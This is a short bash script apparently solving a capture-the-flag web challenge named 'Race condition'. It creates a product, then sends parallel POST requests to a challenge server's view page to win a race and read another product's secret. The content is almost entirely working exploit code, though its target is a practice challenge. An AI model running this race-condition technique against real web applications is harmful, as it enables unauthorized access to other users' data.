Race condition
```bash#!/usr/bin/env bash
curl -d "name=productkek1&secret=secret123SECRET&description=productkek_desc" -X POST "http://challenges.fbctf.com:8087/add.php"
for i in {1..10}do    curl -d "name=productkek1&secret=secret123SECRET" -X POST "http://challenges.fbctf.com:8087/view.php" &    curl -d "name=facebook&secret=secret123SECRET" -X POST "http://challenges.fbctf.com:8087/view.php" &done```